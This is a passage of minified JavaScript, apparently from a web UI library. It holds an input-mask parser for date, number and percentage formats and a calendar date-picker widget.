e=this.innerText,this.value&&this.value.length>e.length&&(e=this.value),e;this.innerText!==e&&(this.innerText=e,t&&p.call(this,t,n))}else{if(void 0===e)return this.value;this.value!==e&&(this.value=e,t&&p.call(this,t,n))}},f=l.weekdays,m=l.weekdaysShort,v=l.months,g=l.monthsShort,y={YEAR:function(e,t){var n=""+(new Date).getFullYear();void 0===this.values[this.index]&&(this.values[this.index]=""),parseInt(e)>=0&&parseInt(e)<=10&&this.values[this.index].length<t&&(this.values[this.index]+=e),this.values[this.index].length==t&&(2==t?n=n.substr(0,2)+this.values[this.index]:3==t?n=n.substr(0,1)+this.values[this.index]:4==t&&(n=this.values[this.index]),this.date[0]=n,this.index++)},YYYY:function(e){y.YEAR.call(this,e,4)},YYY:function(e){y.YEAR.call(this,e,3)},YY:function(e){y.YEAR.call(this,e,2)},FIND:function(e,t){if(i(this.values[this.index])&&(this.values[this.index]=""),this.event&&this.event.inputType&&this.event.inputType.indexOf("delete")>-1)this.values[this.index]+=e;else{for(var n=0,o=0,a=(this.values[this.index]+e).toLowerCase(),s=0;s<t.length;s++)0==t[s].toLowerCase().indexOf(a)&&(n=s,o++);if(o>1)this.values[this.index]+=e;else if(1==o){var r=t[n].length-this.values[this.index].length-1;return this.position+=r,this.values[this.index]=t[n],this.index++,n}}},MMM:function(e){var t=y.FIND.call(this,e,g);void 0!==t&&(this.date[1]=t+1)},MON:function(e){y.MMM.call(this,e)},MMMM:function(e){var t=y.FIND.call(this,e,v);void 0!==t&&(this.date[1]=t+1)},MONTH:function(e){y.MMMM.call(this,e)},MMMMM:function(e){i(this.values[this.index])&&(this.values[this.index]="");for(var t=(this.values[this.index]+e).toLowerCase(),n=0;n<v.length;n++)if(0==v[n][0].toLowerCase().indexOf(t)){this.values[this.index]=v[n][0],this.date[1]=n+1,this.index++;break}},MM:function(e){i(this.values[this.index])?parseInt(e)>1&&parseInt(e)<10?(this.date[1]=this.values[this.index]="0"+e,this.index++):parseInt(e)<2&&(this.values[this.index]=e):(1==this.values[this.index]&&parseInt(e)<3||0==this.values[this.index]&&parseInt(e)>0&&parseInt(e)<10)&&(this.date[1]=this.values[this.index]+=e,this.index++)},M:function(e){var t=!1;if(parseInt(e)>=0&&parseInt(e)<10?i(this.values[this.index])?(this.values[this.index]=e,e>1&&(this.date[1]=this.values[this.index],this.index++)):1==this.values[this.index]&&parseInt(e)<3||0==this.values[this.index]&&parseInt(e)>0?(this.date[1]=this.values[this.index]+=e,this.index++):t=!0:t=!0,1==t){var n=parseInt(this.values[this.index]);n>0&&n<12&&(this.date[1]=this.values[this.index],this.index++,this.position--)}},D:function(e){var t=!1;if(parseInt(e)>=0&&parseInt(e)<10?i(this.values[this.index])?(this.values[this.index]=e,parseInt(e)>3&&(this.date[2]=this.values[this.index],this.index++)):3==this.values[this.index]&&parseInt(e)<2||1==this.values[this.index]||2==this.values[this.index]||0==this.values[this.index]&&parseInt(e)>0?(this.date[2]=this.values[this.index]+=e,this.index++):t=!0:t=!0,1==t){var n=parseInt(this.values[this.index]);n>0&&n<32&&(this.date[2]=this.values[this.index],this.index++,this.position--)}},DD:function(e){i(this.values[this.index])?parseInt(e)>3&&parseInt(e)<10?(this.date[2]=this.values[this.index]="0"+e,this.index++):parseInt(e)<10&&(this.values[this.index]=e):(3==this.values[this.index]&&parseInt(e)<2||(1==this.values[this.index]||2==this.values[this.index])&&parseInt(e)<10||0==this.values[this.index]&&parseInt(e)>0&&parseInt(e)<10)&&(this.date[2]=this.values[this.index]+=e,this.index++)},DDD:function(e){y.FIND.call(this,e,m)},DY:function(e){y.DDD.call(this,e)},DDDD:function(e){y.FIND.call(this,e,f)},DAY:function(e){y.DDDD.call(this,e)},HH12:function(e,t){i(this.values[this.index])?parseInt(e)>1&&parseInt(e)<10?(t&&(e=0+e),this.date[3]=this.values[this.index]=e,this.index++):parseInt(e)<10&&(this.values[this.index]=e):(1==this.values[this.index]&&parseInt(e)<3||this.values[this.index]<1&&parseInt(e)<10)&&(this.date[3]=this.values[this.index]+=e,this.index++)},HH24:function(e,t){parseInt(e)>=0&&parseInt(e)<10&&(null==this.values[this.index]||""==this.values[this.index]?parseInt(e)>2&&parseInt(e)<10?(t&&(e=0+e),this.date[3]=this.values[this.index]=e,this.index++):parseInt(e)<10&&(this.values[this.index]=e):(2==this.values[this.index]&&parseInt(e)<4||this.values[this.index]<2&&parseInt(e)<10)&&(t||"0"!==this.values[this.index]||(this.values[this.index]=""),this.date[3]=this.values[this.index]+=e,this.index++))},HH:function(e){y.HH24.call(this,e,1)},H:function(e){y.HH24.call(this,e,0)},"\\[H\\]":function(e){null==this.values[this.index]&&(this.values[this.index]=""),e.match(/[0-9]/g)?this.date[3]=this.values[this.index]+=e:this.values[this.index].match(/[0-9]/g)&&(this.date[3]=this.values[this.index],this.index++,this.position--)},N60:function(e,t){null==this.values[this.index]||""==this.values[this.index]?parseInt(e)>5&&parseInt(e)<10?(this.date[t]=this.values[this.index]="0"+e,this.index++):parseInt(e)<10&&(this.values[this.index]=e):parseInt(e)<10&&(this.date[t]=this.values[this.index]+=e,this.index++)},MI:function(e){y.N60.call(this,e,4)},SS:function(e){y.N60.call(this,e,5)},"AM/PM":function(e){void 0===this.values[this.index]&&(this.values[this.index]=""),""===this.values[this.index]?e.match(/a/i)&&this.date[3]<13?this.values[this.index]+="A":e.match(/p/i)&&(this.values[this.index]+="P"):"A"!==this.values[this.index]&&"P"!==this.values[this.index]||(this.values[this.index]+="M",this.index++)},WD:function(e){void 0===this.values[this.index]&&(this.values[this.index]=""),parseInt(e)>=0&&parseInt(e)<7&&(this.values[this.index]=e),1==this.values[this.index].length&&this.index++},"0{1}(.{1}0+)?":function(e){var t=a.call(this),n=!1;i(this.values[this.index])?this.values[this.index]="":"-"==this.values[this.index]&&(n=!0);var o=s.call(this,this.values[this.index],t);o&&(this.values[this.index]=o.join(t)),parseInt(e)>=0&&parseInt(e)<10?("0"==this.values[this.index]&&e>0?this.values[this.index]="":"-0"==this.values[this.index]&&e>0&&(this.values[this.index]="-"),("0"!=this.values[this.index]&&"-0"!=this.values[this.index]||e==t)&&(this.values[this.index]+=e)):t&&e==t?-1==this.values[this.index].indexOf(t)&&(this.values[this.index]||(this.values[this.index]="0"),this.values[this.index]+=e):"-"==e&&(n=!0),!0===n&&"-"!==this.values[this.index][0]&&(this.values[this.index]="-"+this.values[this.index])},"0{1}(.{1}0+)?%":function(e){y["0{1}(.{1}0+)?"].call(this,e),this.values[this.index].match(/[\-0-9]/g)?this.values[this.index]&&-1==this.values[this.index].indexOf("%")&&(this.values[this.index]+="%"):this.values[this.index]=""},"#(.{1})##0?(.{1}0+)?( ?;(.*)?)?":function(e){y["0{1}(.{1}0+)?"].call(this,e);var t=a.call(this),n=this.tokens[this.index].substr(1,1),i="-"===this.values[this.index][0],o=s.call(this,this.values[this.index],t);if(""!==o){var r=o[0].match(/[0-9]/g);if(r){for(var l=[],d=0,c=(r=r.join("")).length-1;c>=0;c--)l.push(r[c]),++d%3||l.push(n);l=l.reverse(),o[0]=l.join(""),o[0].substr(0,1)==n&&(o[0]=o[0].substr(1))}else o[0]="";this.values[this.index]=o.join(t),i&&(this.values[this.index]="-"+this.values[this.index])}},0:function(e){e.match(/[0-9]/g)&&(this.values[this.index]=e,this.index++)},"[0-9a-zA-Z$]+":function(e){i(this.values[this.index])&&(this.values[this.index]="");var t=this.tokens[this.index];t[this.values[this.index].length]==e?(this.values[this.index]+=e,this.values[this.index]==t&&this.index++):(this.values[this.index]=t,this.index++,e.match(/[\-0-9]/g)&&this.position--)},A:function(e){e.match(/[a-zA-Z]/gi)&&(this.values[this.index]=e,this.index++)},".":function(e){y["[0-9a-zA-Z$]+"].call(this,e)},"@":function(e){i(this.values[this.index])&&(this.values[this.index]=""),this.values[this.index]+=e}},b=function(t){if("general"==this.type)var n=[].concat(e.general);else n=[].concat(e.currency,e.datetime,e.percentage,e.numeric,e.text,e.general);var i=new RegExp(n.join("|"),"gi");return t.match(i)},x=function(t){if(this.type)n="text"==this.type?["text"]:"general"==this.type?["general"]:"datetime"==this.type?["numeric","datetime","general"]:["currency","percentage","numeric","general"];else var n=Object.keys(e);for(var i=0;i<n.length;i++)for(var o=n[i],a=0;a<e[o].length;a++){var s=new RegExp(e[o][a],"gi");if(t.match(s))return{type:o,method:e[o][a]}}},w=function(e){for(var t=[],n=0;n<e.length;n++){var i=x.call(this,e[n]);i?t.push(i.method):t.push(null)}for(n=0;n<t.length;n++)"MM"==t[n]&&(t[n-1]&&t[n-1].indexOf("H")>=0||t[n-2]&&t[n-2].indexOf("H")>=0||t[n+1]&&t[n+1].indexOf("S")>=0||t[n+2]&&t[n+2].indexOf("S")>=0)&&(t[n]="MI");return t},L=function(e){var t=x.call(this,e);if(t)var n=t.type;if(n){for(var i=0,a=b.call(this,e),s=0;s<a.length;s++)(t=x.call(this,a[s]))&&o(t.type)&&i++;i>1&&(n="general")}return n},j=function(){"function"==typeof y[this.methods[this.index]]?(y[this.methods[this.index]].call(this,this.value[this.position]),this.position++):(this.values[this.index]=this.tokens[this.index],this.index++)},E=function(e,n,i){var s=null,l={input:null,value:null,options:{},values:[],index:0,position:0,date:[0,0,0,0,0,0],number:0};if("object"==typeof e){if(l.input=e.target,l.value=h.call(e.target),l.caret=p.call(e.target),(s=e.target.getAttribute("data-mask"))&&(l.mask=s),(s=e.target.getAttribute("data-type"))&&(l.type=s),e.target.mask?(e.target.mask.options&&(l.options=e.target.mask.options),e.target.mask.locale&&(l.locale=e.target.mask.locale)):(s=e.target.getAttribute("data-locale"))&&(l.locale=s,l.mask&&(l.options.style=l.mask)),e.target.attributes&&e.target.attributes.length)for(var f=0;f<e.target.attributes.length;f++){var m=e.target.attributes[f].name,v=e.target.attributes[f].value;"data"==m.substr(0,4)&&(l.options[m.substr(5)]=v)}}else{if("string"==typeof n)l.mask=n;else for(m=Object.keys(n),f=0;f<m.length;f++)l[m[f]]=n[m[f]];"number"==typeof e&&(a.call(l,l.mask),e=(""+e).replace(".",l.options.decimal)),l.value=e,l.input&&(h.call(l.input,e),r.focus(l.input),l.caret=p.call(l.input))}if("="!=(""+l.value)[0]&&(l.mask||l.locale)){var g;if(l.mask&&(l.mask=l.mask.replace(new RegExp(/\[h]/),"|h|"),l.mask=l.mask.replace(new RegExp(/\[.*?\]/),""),l.mask=l.mask.replace(new RegExp(/\|h\|/),"[h]"),-1!==l.mask.indexOf(";")&&(s=l.mask.split(";"),l.mask=s[0]),-1!==l.mask.indexOf("##")&&((g=l.mask.split(";"))[0]&&("object"==typeof e&&(g[0]=g[0].replace(new RegExp(/_\)/g),""),g[0]=g[0].replace(new RegExp(/_\(/g),"")),g[0]=g[0].replace("*","\t"),g[0]=g[0].replace(new RegExp(/_-/g),""),g[0]=g[0].replace(new RegExp(/_/g),""),g[0]=g[0].replace("##0.###","##0.000"),g[0]=g[0].replace("##0.##","##0.00"),g[0]=g[0].replace("##0.#","##0.0"),g[0]=g[0].replace("##0,###","##0,000"),g[0]=g[0].replace("##0,##","##0,00"),g[0]=g[0].replace("##0,#","##0,0")),l.mask=g[0]),-1!==l.mask.indexOf("\\")&&((g=l.mask.split(";"))[0]=g[0].replace(new RegExp(/\\/g),""),l.mask=g[0]),l.type||(l.type=L.call(l,l.mask)),l.tokens=b.call(l,l.mask)),"object"!=typeof e||!e.inputType||!e.inputType.indexOf("insert")||!e.inputType.indexOf("delete"))if(l.locale)if(l.input)c.call(l,l.input,e);else var y=d.call(l,l.value);else{for(l.methods=w.call(l,l.tokens),l.event=e;l.position<l.value.length&&void 0!==l.tokens[l.index];)j.call(l);if(y=l.values.join(""),o(l.type)&&""!==y){for(;void 0!==l.tokens[l.index];)(s=x.call(l,l.tokens[l.index]))&&"general"==s.type&&(l.values[l.index]=l.tokens[l.index]),l.index++;var E=!0}else E=!1;if(y=l.values.join(""),l.input){if((s=y.length-l.value.length)>0)var C=l.caret+s;else C=l.caret;h.call(l.input,y,C,E)}}if(l.input){var T=null;if(o(l.type)){let e=h.call(l.input);l.number=u.call(l,e),T="percentage"==l.type&&-1!==e.indexOf("%")?l.number/100:l.number}else"datetime"==l.type&&(T=t.call(l),l.date[0]&&l.date[1]&&l.date[2]&&l.input.setAttribute("data-completed",!0));T&&l.input.setAttribute("data-value",T)}if(void 0!==y)return i?l:y}};return E.getType=L,E.prepare=function(e,t){return t||(t={}),b.call(t,e)},E.apply=function(e){var t=h.call(e.target);1==e.key.length&&(t+=e.key),h.call(e.target,E(t,e.target.getAttribute("data-mask")))},E.run=function(e,t,n){return E(e,{mask:t,decimal:n})},E.extract=function(e,t,o){if(i(e))return e;if("object"!=typeof t)return e;if((t=Object.assign({},t)).options||(t.options={}),!t.mask&&t.format&&(t.mask=t.format),t.mask){if(-1!==t.mask.indexOf(";")){var s=t.mask.split(";");t.mask=s[0]}t.mask=t.mask.replace(new RegExp(/\[h]/),"|h|"),t.mask=t.mask.replace(new RegExp(/\[.*?\]/),""),t.mask=t.mask.replace(new RegExp(/\|h\|/),"[h]")}a.call(t,t.mask);var l=null,d=null;if("percent"==t.type||"percent"==t.options.style?l="percentage":t.mask&&(l=L.call(t,t.mask)),"general"===l){var c=E(e,t,!0);d=e}else"datetime"===l?(e instanceof Date&&(e=E.getDateString(e,t.mask)),c=E(e,t,!0),d=r.isNumeric(e)?e:n.call(c)):(d=u.call(t,e),"percentage"===l&&-1!==e.indexOf("%")&&(d/=100),c=t);return c.value=d,!c.type&&l&&(c.type=l),o?c:d},E.render=function(e,t,n){if(i(e))return e;if("object"!=typeof t)return e;if((t=Object.assign({},t)).options||(t.options={}),!t.mask&&t.format&&(t.mask=t.format),t.mask){if(-1!==t.mask.indexOf(";")){var o=t.mask.split(";");n||(o[0]=o[0].replace(new RegExp(/_\)/g),""),o[0]=o[0].replace(new RegExp(/_\(/g),"")),t.mask=o[0]}t.mask=t.mask.replace(new RegExp(/\[h]/),"|h|"),t.mask=t.mask.replace(new RegExp(/\[.*?\]/),""),t.mask=t.mask.replace(new RegExp(/\|h\|/),"[h]")}var s=null;"percent"==t.type||"percent"==t.options.style?s="percentage":t.mask?s=L.call(t,t.mask):e instanceof Date&&(s="datetime");var r=!1;if("datetime"==s||"calendar"==t.type)(o=E.getDateString(e,t.mask))&&(e=o),t.mask&&n&&(r=!0);else if("percentage"==s&&(e*=100),"number"==typeof e){if(o=null,t.mask&&n&&-1===(""+e).indexOf("e")){var l=a.call(t,t.mask);-1!==t.mask.indexOf(l)?(l=(l=""+(l=t.mask.split(l))[1].match(/[0-9]+/g)).length,o=e.toFixed(l)):o=e.toFixed(0)}else if(t.locale&&n){if(l=(""+e).split("."),t.options){void 0===l[1]&&(l[1]="");var d=l[1].length;if(t.options.minimumFractionDigits>d)for(var c=0;c<t.options.minimumFractionDigits-d;c++)l[1]+="0"}o=l[1].length?l.join("."):l[0],d=l[1].length,t.options&&t.options.maximumFractionDigits<d&&(o=parseFloat(o).toFixed(t.options.maximumFractionDigits))}else o=(""+ +e).replace(/(-?)(\d*)\.?(\d*)e([+-]\d+)/,(function(e,t,n,i,o){return o<0?t+"0."+Array(1-o-n.length).join(0)+n+i:t+n+i+Array(o-i.length+1).join(0)}));null!==o&&(e=o,a.call(t,t.mask),t.options.decimal&&(e=e.replace(".",t.options.decimal)))}else t.mask&&n&&(r=!0);if(r){var u=t.mask.length-e.length;if(u>0)for(c=0;c<u;c++)e+=" "}if(e=E(e,t),n&&"numeric"===s){var p=t.mask.match(new RegExp(/^[0]+$/gm));if(p&&1===p.length){var h=p[0].length;if(h>3)for(e=""+e;e.length<h;)e="0"+e}}return e},E.set=function(e,t){if(t){e.setAttribute("data-mask",t);var n=new Event("input",{bubbles:!0,cancelable:!0});e.dispatchEvent(n)}},E.extractDateFromString=function(e,t){var n=E(e,{mask:t},!0);if(e>0&&Number(e)==e&&(n.values.join("")!==n.value||"numeric"==n.type)){var i=new Date(Math.round(86400*(e-25569)*1e3));return i.getFullYear()+"-"+r.two(i.getMonth())+"-"+r.two(i.getDate())+" 00:00:00"}var o=!1;return n.values.length===n.tokens.length&&n.values[n.values.length-1].length>=n.tokens[n.tokens.length-1].length&&(o=!0),n.date[0]&&n.date[1]&&(n.date[2]||o)?(n.date[2]||(n.date[2]=1),n.date[0]+"-"+r.two(n.date[1])+"-"+r.two(n.date[2])+" "+r.two(n.date[3])+":"+r.two(n.date[4])+":"+r.two(n.date[5])):""},E.getDateString=function(e,t){if(t||(t={}),t&&"object"==typeof t)var n=t.format;else n=t;if(n||(n="YYYY-MM-DD"),n.indexOf("[h]")>=0){var i=0;if(e&&r.isNumeric(e)&&(i=parseFloat(24*Number(e)),n.indexOf("mm")>=0)){if((p=(""+i).split("."))[1]){var o=60*parseFloat("0."+p[1]);o=parseFloat(o.toFixed(2))}else o=0;i=parseInt(p[0])+":"+r.two(o)}return i}e instanceof Date?e=l.now(e):e&&r.isNumeric(e)&&(e=l.numToDate(e));for(var a=new RegExp(["DAY","WD","DDDD","DDD","DD","D","Q","HH24","HH12","HH","H","AM/PM","MI","SS","MS","YYYY","YYY","YY","Y","MONTH","MON","MMMMM","MMMM","MMM","MM","M","."].join("|"),"gi"),s=n.match(a),d=0;d<s.length;d++)"MM"==s[d].toUpperCase()&&(s[d-1]&&s[d-1].toUpperCase().indexOf("H")>=0||s[d-2]&&s[d-2].toUpperCase().indexOf("H")>=0||s[d+1]&&s[d+1].toUpperCase().indexOf("S")>=0||s[d+2]&&s[d+2].toUpperCase().indexOf("S")>=0)&&(s[d]="mi");var c={tokens:s};if(e){var u=-1!==(o=""+e).indexOf("T")?"T":" ",p=0,h=0,f=0;if((o=o.split(u))[1]&&(h=(p=o[1].split(":"))[1]?p[1]:0,f=p[2]?p[2]:0,p=p[0]?p[0]:0),(o=o[0].split("-"))[0]&&o[1]&&o[2]&&o[0]>0&&o[1]>0&&o[1]<13&&o[2]>0&&o[2]<32){c.data=[o[0],o[1],o[2],p,h,f],c.value=[];var m=new Date(c.data[0],c.data[1]-1,c.data[2],c.data[3],c.data[4],c.data[5]),v=function(e){var t=this.tokens[e],n=t.toUpperCase(),i=null;"YYYY"===n?i=this.data[0]:"YYY"===n?i=this.data[0].substring(1,4):"YY"===n?i=this.data[0].substring(2,4):"Y"===n?i=this.data[0].substring(3,4):"MON"===t?i=l.months[m.getMonth()].substr(0,3).toUpperCase():"mon"===t?i=l.months[m.getMonth()].substr(0,3).toLowerCase():"MONTH"===t?i=l.months[m.getMonth()].toUpperCase():"month"===t?i=l.months[m.getMonth()].toLowerCase():"MMMMM"===n?i=l.months[m.getMonth()].substr(0,1):"MMMM"===n||"Month"===t?i=l.months[m.getMonth()]:"MMM"===n||"Mon"==t?i=l.months[m.getMonth()].substr(0,3):"MM"===n?i=r.two(this.data[1]):"M"===n?i=m.getMonth()+1:"DAY"===t?i=l.weekdays[m.getDay()].toUpperCase():"day"===t?i=l.weekdays[m.getDay()].toLowerCase():"DDDD"===n||"Day"==t?i=l.weekdays[m.getDay()]:"DDD"===n?i=l.weekdays[m.getDay()].substr(0,3):"DD"===n?i=r.two(this.data[2]):"D"===n?i=parseInt(this.data[2]):"Q"===n?i=Math.floor((m.getMonth()+3)/3):"HH24"===n||"HH"===n?((i=this.data[3])>12&&-1!==this.tokens.indexOf("am/pm")&&(i-=12),i=r.two(i)):"HH12"===n?i=this.data[3]>12?r.two(this.data[3]-12):r.two(this.data[3]):"H"===n?(i=this.data[3])>12&&-1!==this.tokens.indexOf("am/pm")&&(i-=12,i=r.two(i)):"MI"===n?i=r.two(this.data[4]):"SS"===n?i=r.two(this.data[5]):"MS"===n?i=m.getMilliseconds():"AM/PM"===n?i=this.data[3]>=12?"PM":"AM":"WD"===n&&(i=l.weekdays[m.getDay()]),this.value[e]=null===i?this.tokens[e]:i};for(d=0;d<c.tokens.length;d++)v.call(c,d);e=c.value.join("")}else e=""}return e},E}(),y=function(){var e=function(t,n){if(t.calendar)return t.calendar.setOptions(n,!0);var i={type:"calendar",options:{},date:null,setOptions:function(n,o){var a={type:"default",validRange:null,startingDay:null,format:"DD/MM/YYYY",readonly:!0,today:!1,time:!1,resetButton:!0,placeholder:"",months:l.monthsShort,monthsFull:l.months,weekdays:l.weekdays,textDone:c.translate("Done"),textReset:c.translate("Reset"),textUpdate:c.translate("Update"),value:null,fullscreen:!1,opened:!1,onopen:null,onclose:null,onchange:null,onupdate:null,mode:null,position:null,dataType:null,controls:!0,autoSelect:!0};for(var s in a)n&&n.hasOwnProperty(s)?i.options[s]=n[s]:void 0!==i.options[s]&&!0!==o||(i.options[s]=a[s]);if(0==i.options.resetButton?p.style.display="none":p.style.display="",i.options.readonly?t.setAttribute("readonly","readonly"):t.removeAttribute("readonly"),i.options.placeholder?t.setAttribute("placeholder",i.options.placeholder):t.removeAttribute("placeholder"),r.isNumeric(i.options.value)&&i.options.value>0&&(i.options.value=e.numToDate(i.options.value),i.options.dataType="numeric"),p.innerHTML=i.options.textReset,h.innerHTML=i.options.textDone,E.innerHTML=i.options.textUpdate,t.setAttribute("data-mask",i.options.format.toLowerCase()),!i.options.value&&i.options.today)var d=e.now();else d=i.options.value;return d&&(i.options.value=null,i.setValue(d)),i},open:function(n){if(!d.classList.contains("jcalendar-focus")&&!d.classList.contains("jcalendar-inline")){if(e.current=i,u(i,!0),i.getDays(),"year-month-picker"==i.options.type&&i.getMonths(),i.options.time&&(C.value=i.date[3],T.value=i.date[4]),d.classList.add("jcalendar-focus"),r.getWindowWidth()<800||i.options.fullscreen)d.classList.add("jcalendar-fullsize"),v.slideBottom(m,1);else{d.classList.remove("jcalendar-fullsize");var o=t.getBoundingClientRect(),a=m.getBoundingClientRect();if(i.options.position)f.style.position="fixed",window.innerHeight<o.bottom+a.height?f.style.top=o.top-(a.height+2)+"px":f.style.top=o.top+o.height+2+"px",f.style.left=o.left+"px";else if(window.innerHeight<o.bottom+a.height?((s=-1*(o.height+a.height+2))+o.top<0&&(s=-1*(o.top+o.height)),f.style.top=s+"px"):f.style.top="2px",window.innerWidth<o.left+a.width){var s=window.innerWidth-(o.left+a.width+20);f.style.left=s+"px"}else f.style.left="0px"}"function"==typeof i.options.onopen&&i.options.onopen(t)}},close:function(n,o){if(!0!==i.options.autoSelect&&void 0===o&&(o=!1),d.classList.contains("jcalendar-focus")){if(!1!==o){var a=d.querySelector(".jcalendar-selected");if("string"==typeof o)var s=o;else s=!a||a.classList.contains("jcalendar-disabled")?i.options.value:i.getValue();i.setValue(s)}else if(i.options.value){let e=i.options.value;i.options.value="",i.setValue(e)}n||"function"!=typeof i.options.onclose||i.options.onclose(t),d.classList.remove("jcalendar-focus"),u(i,!1),e.current=null}return i.options.value},prev:function(){"years"==i.options.mode?(i.date[0]=i.date[0]-12,i.getYears()):"months"==i.options.mode?(i.date[0]=parseInt(i.date[0])-1,i.getMonths()):(i.date[1]<2?(i.date[0]=i.date[0]-1,i.date[1]=12):i.date[1]=i.date[1]-1,i.getDays())},next:function(){"years"==i.options.mode?(i.date[0]=parseInt(i.date[0])+12,i.getYears()):"months"==i.options.mode?(i.date[0]=parseInt(i.date[0])+1,i.getMonths()):(i.date[1]>11?(i.date[0]=parseInt(i.date[0])+1,i.date[1]=1):i.date[1]=parseInt(i.date[1])+1,i.getDays())},setToday:function(){var e=(new Date).toISOString().substr(0,10);return i.setValue(e),e},setValue:function(n){n||(n=""+n);var o=n,a=i.options.value;if(a!=o){if(o){i.setLabel(o,i.options),(r=o.split(" "))[1]||(r[1]="00:00:00");var s=r[1].split(":"),r=r[0].split("-"),l=parseInt(r[0]),d=parseInt(r[1]),u=parseInt(r[2]),p=parseInt(s[0]),h=parseInt(s[1]);i.date=[l,d,u,p,h,0],n=i.setLabel(o,i.options);var f=e.now(new Date(l,d-1,u),!0);if(i.options.validRange){if(!i.options.validRange[0]||f>=i.options.validRange[0])var m=!0;else m=!1;if(!i.options.validRange[1]||f<=i.options.validRange[1])var v=!0;else v=!1;m&&v?(t.classList.remove("jcalendar_warning"),t.title=""):(t.classList.add("jcalendar_warning"),t.title=c.translate("Date outside the valid range"))}else t.classList.remove("jcalendar_warning"),t.title=""}else{i.date=null;n="";t.classList.remove("jcalendar_warning"),t.title=""}i.options.value=o,"function"==typeof i.options.onchange&&i.options.onchange(t,o,a),t.value!=n&&(t.value=n,"function"==typeof t.oninput&&t.oninput({type:"input",target:t,value:t.value}))}i.getDays(),"year-month-picker"==i.options.type&&i.getMonths()},getValue:function(){return i.date?i.options.time?r.two(i.date[0])+"-"+r.two(i.date[1])+"-"+r.two(i.date[2])+" "+r.two(i.date[3])+":"+r.two(i.date[4])+":"+r.two(0):r.two(i.date[0])+"-"+r.two(i.date[1])+"-"+r.two(i.date[2])+" "+r.two(0)+":"+r.two(0)+":"+r.two(0):""},update:function(e,t){if(e.classList.contains("jcalendar-disabled"));else{var n=d.querySelector(".jcalendar-selected");n&&n.classList.remove("jcalendar-selected"),e.classList.add("jcalendar-selected"),e.classList.contains("jcalendar-set-month")?(i.date[1]=t,i.date[2]=1):i.date[2]=e.innerText,i.options.time?(i.date[3]=C.value,i.date[4]=T.value):i.close(null,!0)}s()},reset:function(){i.setValue(""),i.date=null,i.close(!1,!1)},getDays:function(){i.options.mode="days";var t=new Date,n=i.date&&r.isNumeric(i.date[0])?i.date[0]:parseInt(t.getFullYear()),o=i.date&&r.isNumeric(i.date[1])?i.date[1]:parseInt(t.getMonth())+1,a=i.date&&r.isNumeric(i.date[2])?i.date[2]:parseInt(t.getDate()),l=i.date&&r.isNumeric(i.date[3])?i.date[3]:parseInt(t.getHours()),d=i.date&&r.isNumeric(i.date[4])?i.date[4]:parseInt(t.getMinutes());i.date=[n,o,a,l,d,0],g.innerHTML=n,y.innerHTML=i.options.months[o-1];var c=t.getMonth()==o-1&&t.getFullYear()==n,u=t.getDate(),p=(t=new Date(n,o,0,0,0)).getDate(),h=(t=new Date(n,o-1,0,0,0)).getDay()+1;h-=m=i.options.startingDay||0,x.innerHTML="",(w=document.createElement("tr")).setAttribute("align","center"),x.appendChild(w);for(var f=0;f<7;f++)(j=document.createElement("td")).classList.add("jcalendar-weekday"),j.innerHTML=i.options.weekdays[m].substr(0,1),w.appendChild(j),++m>6&&(m=0);for(var m=0,v=0,b=0;b<6;b++){var w;for((w=document.createElement("tr")).setAttribute("align","center"),w.style.height="34px",f=0;f<7;f++){var j;if((j=document.createElement("td")).classList.add("jcalendar-set-day"),m>=h&&m<h+p){v++,j.innerHTML=v,v==a&&j.classList.add("jcalendar-selected"),c&&u==v&&(j.style.fontWeight="bold");var E=e.now(new Date(n,o-1,v),!0);if(i.options.validRange){if(!i.options.validRange[0]||E>=i.options.validRange[0])var C=!0;else C=!1;if(!i.options.validRange[1]||E<=i.options.validRange[1])var T=!0;else T=!1;C&&T||j.classList.add("jcalendar-disabled")}}w.appendChild(j),m++}x.appendChild(w)}i.options.time?L.style.display="":L.style.display="none",s()},getMonths:function(){i.options.mode="months";var e=i.options.months,t=(i.options.value,new Date),n=parseInt(t.getFullYear()),o=parseInt(t.getMonth())+1,a=i.date&&r.isNumeric(i.date[0])?i.date[0]:n,l=i.date&&r.isNumeric(i.date[1])?i.date[1]:o;g.innerHTML=i.date[0],y.innerHTML=e[l-1];var d=document.createElement("table");d.setAttribute("width","100%");for(var c=null,u=0;u<12;u++){u%4||((c=document.createElement("tr")).setAttribute("align","center"),d.appendChild(c));var p=document.createElement("td");if(p.classList.add("jcalendar-set-month"),p.setAttribute("data-value",u+1),p.innerText=e[u],i.options.validRange){var h=a+"-"+r.two(u+1);if(!i.options.validRange[0]||h>=i.options.validRange[0].substr(0,7))var f=!0;else f=!1;if(!i.options.validRange[1]||h<=i.options.validRange[1].substr(0,7))var m=!0;else m=!1;f&&m||p.classList.add("jcalendar-disabled")}u+1==l&&p.classList.add("jcalendar-selected"),n==a&&u+1==o&&(p.style.fontWeight="bold"),c.appendChild(p)}x.innerHTML='<tr><td colspan="7"></td></tr>',x.children[0].children[0].appendChild(d),s()},getYears:function(){i.options.mode="years";for(var e=new Date,t=e.getFullYear(),n=i.date&&r.isNumeric(i.date[0])?i.date[0]:parseInt(e.getFullYear()),o=[],a=0;a<25;a++)o[a]=parseInt(i.date[0])+(a-12);var l=document.createElement("table");for(l.setAttribute("width","100%"),a=0;a<25;a++){if(!(a%5)){var d=document.createElement("tr");d.setAttribute("align","center"),l.appendChild(d)}var c=document.createElement("td");c.classList.add("jcalendar-set-year"),c.innerText=o[a],n==o[a]&&c.classList.add("jcalendar-selected"),t==o[a]&&(c.style.fontWeight="bold"),d.appendChild(c)}x.innerHTML='<tr><td colspan="7"></td></tr>',x.firstChild.firstChild.appendChild(l),s()},setLabel:function(t,n){return e.getDateString(t,n)},fromFormatted:function(t,n){return e.extractDateFromString(t,n)}},o=function(e){if(r.findElement(e.target,"jcalendar-container")){var t=e.target.className;if("jcalendar-prev"==t)i.prev();else if("jcalendar-next"==t)i.next();else if("jcalendar-month"==t)i.getMonths();else if("jcalendar-year"==t)i.getYears();else if("jcalendar-set-year"==t)i.date[0]=e.target.innerText,"year-month-picker"==i.options.type?i.getMonths():i.getDays();else if(e.target.classList.contains("jcalendar-set-month")){var n=parseInt(e.target.getAttribute("data-value"));"year-month-picker"==i.options.type?i.update(e.target,n):(i.date[1]=n,i.getDays())}else"jcalendar-confirm"==t||"jcalendar-update"==t||"jcalendar-close"==t?i.close(null,!0):"jcalendar-backdrop"==t?i.close(!1,!1):"jcalendar-reset"==t?i.reset():e.target.classList.contains("jcalendar-set-day")&&e.target.innerText&&i.update(e.target)}else i.close(!1,!1)},a=function(t){if(t.target.value&&t.target.value.length>3){var n=e.extractDateFromString(t.target.value,i.options.format);n&&i.setValue(n)}},s=function(){var 